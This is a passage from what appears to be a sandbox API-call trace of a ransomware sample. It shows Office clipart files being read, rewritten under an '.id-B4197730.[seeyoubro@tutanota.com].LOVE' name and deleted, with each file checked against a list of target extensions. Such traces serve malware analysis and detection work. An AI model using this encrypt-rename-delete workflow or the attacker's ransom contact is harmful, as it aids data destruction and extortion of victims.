(hFile=0x2f0) returned 1 [0207.457] CloseHandle (hObject=0x2f0) returned 1 [0207.457] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.457] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf")) returned 1 [0207.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0207.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0207.460] lstrlenW (lpString=".doc") returned 4 [0207.460] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.460] lstrlenW (lpString=".docx") returned 5 [0207.460] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.460] lstrlenW (lpString=".pdf") returned 4 [0207.460] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.460] lstrlenW (lpString=".xls") returned 4 [0207.460] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.460] lstrlenW (lpString=".xlsx") returned 5 [0207.460] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.460] lstrlenW (lpString=".ppt") returned 4 [0207.460] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0207.460] lstrlenW (lpString=".zip") returned 4 [0207.460] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.460] lstrlenW (lpString=".rar") returned 4 [0207.460] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.460] lstrlenW (lpString=".bz2") returned 4 [0207.460] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.460] lstrlenW (lpString=".7z") returned 3 [0207.460] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0207.461] lstrlenW (lpString=".dbf") returned 4 [0207.461] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0207.461] lstrlenW (lpString=".1cd") returned 4 [0207.461] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0207.461] lstrlenW (lpString=".jpg") returned 4 [0207.461] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.466] GetLastError () returned 0x0 [0207.466] ReadFile (in: hFile=0x364, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x1e7c, lpOverlapped=0x0) returned 1 [0207.566] WriteFile (in: hFile=0x354, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x1e80, lpOverlapped=0x0) returned 1 [0207.567] ReadFile (in: hFile=0x364, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.567] WriteFile (in: hFile=0x354, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.567] SetEndOfFile (hFile=0x354) returned 1 [0207.567] CloseHandle (hObject=0x354) returned 1 [0207.567] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.567] SetEndOfFile (hFile=0x364) returned 1 [0207.568] CloseHandle (hObject=0x364) returned 1 [0207.569] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.569] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf")) returned 1 [0207.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0207.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0207.569] lstrlenW (lpString=".doc") returned 4 [0207.569] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.569] lstrlenW (lpString=".docx") returned 5 [0207.569] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.569] lstrlenW (lpString=".pdf") returned 4 [0207.569] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.569] lstrlenW (lpString=".xls") returned 4 [0207.570] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.570] lstrlenW (lpString=".xlsx") returned 5 [0207.570] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.570] lstrlenW (lpString=".ppt") returned 4 [0207.570] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0207.570] lstrlenW (lpString=".zip") returned 4 [0207.570] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.570] lstrlenW (lpString=".rar") returned 4 [0207.570] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.570] lstrlenW (lpString=".bz2") returned 4 [0207.570] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.570] lstrlenW (lpString=".7z") returned 3 [0207.570] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0207.570] lstrlenW (lpString=".dbf") returned 4 [0207.570] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0207.570] lstrlenW (lpString=".1cd") returned 4 [0207.570] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0207.570] lstrlenW (lpString=".jpg") returned 4 [0207.570] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.571] GetLastError () returned 0x0 [0207.571] ReadFile (in: hFile=0x364, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x9bc, lpOverlapped=0x0) returned 1 [0207.589] WriteFile (in: hFile=0x354, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x9c0, lpOverlapped=0x0) returned 1 [0207.590] ReadFile (in: hFile=0x364, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.590] WriteFile (in: hFile=0x354, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.590] SetEndOfFile (hFile=0x354) returned 1 [0207.590] CloseHandle (hObject=0x354) returned 1 [0207.590] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.590] SetEndOfFile (hFile=0x364) returned 1 [0207.591] CloseHandle (hObject=0x364) returned 1 [0207.591] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.592] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf")) returned 1 [0207.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0207.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0207.592] lstrlenW (lpString=".doc") returned 4 [0207.592] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.592] lstrlenW (lpString=".docx") returned 5 [0207.592] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.592] lstrlenW (lpString=".pdf") returned 4 [0207.592] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.592] lstrlenW (lpString=".xls") returned 4 [0207.592] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.592] lstrlenW (lpString=".xlsx") returned 5 [0207.592] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.592] lstrlenW (lpString=".ppt") returned 4 [0207.592] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0207.592] lstrlenW (lpString=".zip") returned 4 [0207.593] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.593] lstrlenW (lpString=".rar") returned 4 [0207.593] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.593] lstrlenW (lpString=".bz2") returned 4 [0207.593] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.593] lstrlenW (lpString=".7z") returned 3 [0207.593] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0207.593] lstrlenW (lpString=".dbf") returned 4 [0207.593] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0207.593] lstrlenW (lpString=".1cd") returned 4 [0207.593] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0207.593] lstrlenW (lpString=".jpg") returned 4 [0207.593] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.597] GetLastError () returned 0x0 [0207.597] ReadFile (in: hFile=0x364, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0xc9c, lpOverlapped=0x0) returned 1 [0207.624] WriteFile (in: hFile=0x354, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xca0, lpOverlapped=0x0) returned 1 [0207.625] ReadFile (in: hFile=0x364, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.625] WriteFile (in: hFile=0x354, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.625] SetEndOfFile (hFile=0x354) returned 1 [0207.625] CloseHandle (hObject=0x354) returned 1 [0207.625] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.625] SetEndOfFile (hFile=0x364) returned 1 [0207.626] CloseHandle (hObject=0x364) returned 1 [0207.626] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.627] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf")) returned 1 [0207.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0207.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0207.627] lstrlenW (lpString=".doc") returned 4 [0207.627] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.627] lstrlenW (lpString=".docx") returned 5 [0207.627] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.627] lstrlenW (lpString=".pdf") returned 4 [0207.627] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.627] lstrlenW (lpString=".xls") returned 4 [0207.627] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.627] lstrlenW (lpString=".xlsx") returned 5 [0207.627] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.627] lstrlenW (lpString=".ppt") returned 4 [0207.627] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0207.627] lstrlenW (lpString=".zip") returned 4 [0207.627] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.627] lstrlenW (lpString=".rar") returned 4 [0207.627] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.627] lstrlenW (lpString=".bz2") returned 4 [0207.627] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.627] lstrlenW (lpString=".7z") returned 3 [0207.627] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0207.628] lstrlenW (lpString=".dbf") returned 4 [0207.628] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0207.628] lstrlenW (lpString=".1cd") returned 4 [0207.628] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0207.628] lstrlenW (lpString=".jpg") returned 4 [0207.628] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.657] GetLastError () returned 0x0 [0207.657] ReadFile (in: hFile=0x2f0, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x12c8, lpOverlapped=0x0) returned 1 [0207.692] WriteFile (in: hFile=0x33c, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x12d0, lpOverlapped=0x0) returned 1 [0207.693] ReadFile (in: hFile=0x2f0, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.693] WriteFile (in: hFile=0x33c, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.693] SetEndOfFile (hFile=0x33c) returned 1 [0207.694] CloseHandle (hObject=0x33c) returned 1 [0207.694] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.694] SetEndOfFile (hFile=0x2f0) returned 1 [0207.694] CloseHandle (hObject=0x2f0) returned 1 [0207.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.695] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf")) returned 1 [0207.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0207.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0207.698] lstrlenW (lpString=".doc") returned 4 [0207.698] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.698] lstrlenW (lpString=".docx") returned 5 [0207.698] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.698] lstrlenW (lpString=".pdf") returned 4 [0207.698] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.698] lstrlenW (lpString=".xls") returned 4 [0207.699] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.699] lstrlenW (lpString=".xlsx") returned 5 [0207.699] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.699] lstrlenW (lpString=".ppt") returned 4 [0207.699] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0207.699] lstrlenW (lpString=".zip") returned 4 [0207.699] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.699] lstrlenW (lpString=".rar") returned 4 [0207.699] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.699] lstrlenW (lpString=".bz2") returned 4 [0207.699] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.699] lstrlenW (lpString=".7z") returned 3 [0207.699] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0207.699] lstrlenW (lpString=".dbf") returned 4 [0207.699] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0207.699] lstrlenW (lpString=".1cd") returned 4 [0207.699] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0207.699] lstrlenW (lpString=".jpg") returned 4 [0207.699] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.738] GetLastError () returned 0x0 [0207.738] ReadFile (in: hFile=0x354, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x6906, lpOverlapped=0x0) returned 1 [0207.760] WriteFile (in: hFile=0x364, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x6910, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x6910, lpOverlapped=0x0) returned 1 [0207.761] ReadFile (in: hFile=0x354, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.761] WriteFile (in: hFile=0x364, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.761] SetEndOfFile (hFile=0x364) returned 1 [0207.764] CloseHandle (hObject=0x364) returned 1 [0207.765] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.765] SetEndOfFile (hFile=0x354) returned 1 [0207.768] CloseHandle (hObject=0x354) returned 1 [0207.768] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.768] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf")) returned 1 [0207.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0207.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0207.768] lstrlenW (lpString=".doc") returned 4 [0207.768] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.768] lstrlenW (lpString=".docx") returned 5 [0207.768] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.768] lstrlenW (lpString=".pdf") returned 4 [0207.768] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.769] lstrlenW (lpString=".xls") returned 4 [0207.769] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.769] lstrlenW (lpString=".xlsx") returned 5 [0207.769] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.769] lstrlenW (lpString=".ppt") returned 4 [0207.769] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0207.769] lstrlenW (lpString=".zip") returned 4 [0207.769] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.769] lstrlenW (lpString=".rar") returned 4 [0207.769] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.769] lstrlenW (lpString=".bz2") returned 4 [0207.769] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.769] lstrlenW (lpString=".7z") returned 3 [0207.769] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0207.769] lstrlenW (lpString=".dbf") returned 4 [0207.769] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0207.769] lstrlenW (lpString=".1cd") returned 4 [0207.769] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0207.769] lstrlenW (lpString=".jpg") returned 4 [0207.769] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.769] GetLastError () returned 0x0 [0207.769] ReadFile (in: hFile=0x354, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x57f4, lpOverlapped=0x0) returned 1 [0207.771] WriteFile (in: hFile=0x348, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x5800, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x5800, lpOverlapped=0x0) returned 1 [0207.772] ReadFile (in: hFile=0x354, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.772] WriteFile (in: hFile=0x348, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.772] SetEndOfFile (hFile=0x348) returned 1 [0207.773] CloseHandle (hObject=0x348) returned 1 [0207.773] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.773] SetEndOfFile (hFile=0x354) returned 1 [0207.773] CloseHandle (hObject=0x354) returned 1 [0207.773] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.773] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf")) returned 1 [0207.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0207.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0207.774] lstrlenW (lpString=".doc") returned 4 [0207.774] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.774] lstrlenW (lpString=".docx") returned 5 [0207.774] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.774] lstrlenW (lpString=".pdf") returned 4 [0207.774] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.774] lstrlenW (lpString=".xls") returned 4 [0207.774] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.774] lstrlenW (lpString=".xlsx") returned 5 [0207.774] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.774] lstrlenW (lpString=".ppt") returned 4 [0207.774] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0207.774] lstrlenW (lpString=".zip") returned 4 [0207.774] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.774] lstrlenW (lpString=".rar") returned 4 [0207.774] 